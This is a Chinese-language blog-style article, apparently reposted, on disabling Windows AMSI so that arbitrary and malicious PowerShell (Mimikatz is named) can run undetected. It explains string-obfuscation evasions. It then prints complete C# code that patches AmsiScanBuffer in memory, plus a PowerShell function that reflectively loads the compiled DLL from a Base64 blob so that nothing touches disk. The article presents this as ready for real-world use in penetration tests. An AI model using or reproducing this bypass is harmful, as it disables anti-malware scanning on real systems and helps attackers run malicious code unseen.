众所周知,AMSI会对获取 shell 造成麻烦,这篇文章将介绍如何在早期解决此类问题。
AMSI全称为“ANTI MALWARE SCAN INTERFACE”,即反恶意软件扫描接口。顾名思义,它要做的就是扫描,检测和阻止任何有害的东西。
还是不知道这是什么玩意?你可以查看下方截图:
显然,如果你具有在Windows环境中渗透测试的经验,那么就应该知道几乎所有公开的脚本(包括Nishang,Empire,PowerSploit中的脚本)都会出现这样的错误。
AMSI之前使用“基于字符串”的检测方法来确定PowerShell代码是否包含恶意代码。见下图:
没错,“amsiutils”这个词被禁止了。如果你的英文名中有这个词,那么朋友,你就是AMSI眼中的的恶意人员。
几乎每个有经验的人都知道字符串检测很容易绕过,只要不逐字地使用被禁止的字符串。而是使用编码或将其拆分为块并重新组合就可以解决此问题。以下是执行“被禁止”代码且成功绕过的三种方法:
这种方法简单地将单词分成两半就足以绕过这种检测。我们在混淆中见过许多。但在大多数情况下,这种方法没什么用。
在某些情况下,简单地通过Base64解码也可以绕过检测。
当然,你也可以使用XOR来绕过AMSI并在运行时将字符串解回内存。这是最有效的,因为这样一来AMSI就需要更高的抽象来检测恶意代码。
以上所有这些技术都是围绕字符串检测展开的,但肯定还有其他方法。我想以原始状态(即AMSI阻止它们的状态)执行脚本。这样可行吗?
几个月前,cyberark发布了一篇博文,描述了如何绕过AMSI。 微软此后改变了AMSI处理PowerShell会话的方式,因此原始绕过技术现在无法起作用。Microsoft的更新更改了AMSI,因此PowerShell在扫描用户输入时不再使用AmsiScanString函数。
在下图中,你可以看到AmsiScanString已被AmsiScanBuffer API替换:
运行PowerShell MimiKatz payload时,出现如下错误:
在此阶段开始尝试绕过新的AMSI。 目标是修补新的AmsiScanBuffer函数。下图为函数文档:
如你所见,此函数要获取所需扫描的缓冲区和缓冲区长度。 我们需要做的就是在存储缓冲区长度的函数内修补。这样做扫描会以零长度上执行。
严格来说,我们并没有“绕过”,而是禁用了它。
AMSI有一些在运行任何PowerShell代码之前就执行的函数(从Powershell v3.0开始),因此为了完全绕过AMSI并执行任何PowerShell恶意代码,我们需要对它们进行memory patching来完全禁用它。
它适用于最新版本的Windows!我们可以将这种技术实用化并将其应用于PowerShell脚本,因此可以在现实环境中利用它!
现在我们应用上述技术的代码编译C#DLL,然后在PowerShell会话中加载并执行此代码,此举可以完全禁用AMSI!
using System; using System.Runtime.InteropServices; namespace Bypass { public class AMSI { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void MoveMemory(IntPtr dest, IntPtr src, int size); public static int Disable() { IntPtr TargetDLL = LoadLibrary("amsi.dll"); if (TargetDLL == IntPtr.Zero) { Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer."); return 1; } IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); if (AmsiScanBufferPtr == IntPtr.Zero) { Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer"); return 1; } UIntPtr dwSize = (UIntPtr)5; uint Zero = 0; if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) { Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!"); return 1; } Byte[] Patch = { 0x31, 0xff, 0x90 }; IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); Marshal.Copy(Patch, 0, unmanagedPointer, 3); MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3); Console.WriteLine("AmsiScanBuffer patch has been applied."); return 0; } } }
效果如下图:
这样我们就可以完全绕过检测。可以自由加载任何PowerShell脚本,无论是否恶意。通过将此类方法与你的 工具 相结合,成功率将大大提升。
当然,在渗透测试中,我们必须拥有自动应用此类技术的工具。同样,当我们通过C#使用.NET框架时,可以在运行时创建一个映射DLL到内存的Posh脚本,而无需将DLL接触磁盘。
以下是禁用AMSI的PowerShell脚本:
function Bypass-AMSI { if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKJrPYwAAAAAAAAAAOAAIiALATAAAA4AAAAGAAAAAAAAxiwAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHEsAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAADUKwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA1AwAAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAClLAAAAAAAAEgAAAACAAUAECEAAMQKAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBACqAAAAAQAAEXIBAABwKAIAAAYKBn4QAAAKKBEAAAosDHITAABwKBIAAAoXKgZyawAAcCgBAAAGCwd+EAAACigRAAAKLAxyiQAAcCgSAAAKFyobaigTAAAKDBYNBwgfQBIDKAMAAAYtDHL9AABwKBIAAAoXKhmNFgAAAS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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null Write-Output "DLL has been reflected"; } [Bypass.AMSI]::Disable() }
这不会被检测,因为它根本不包含任何恶意内容。它只是将.NET程序加载到内存并执行代码。执行后,你就可以执行PowerShell任意代码。
效果见下图:
以上所述就是小编给大家介绍的《看我如何绕过AMSI并执行任意Powershell代码》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 我们 的支持!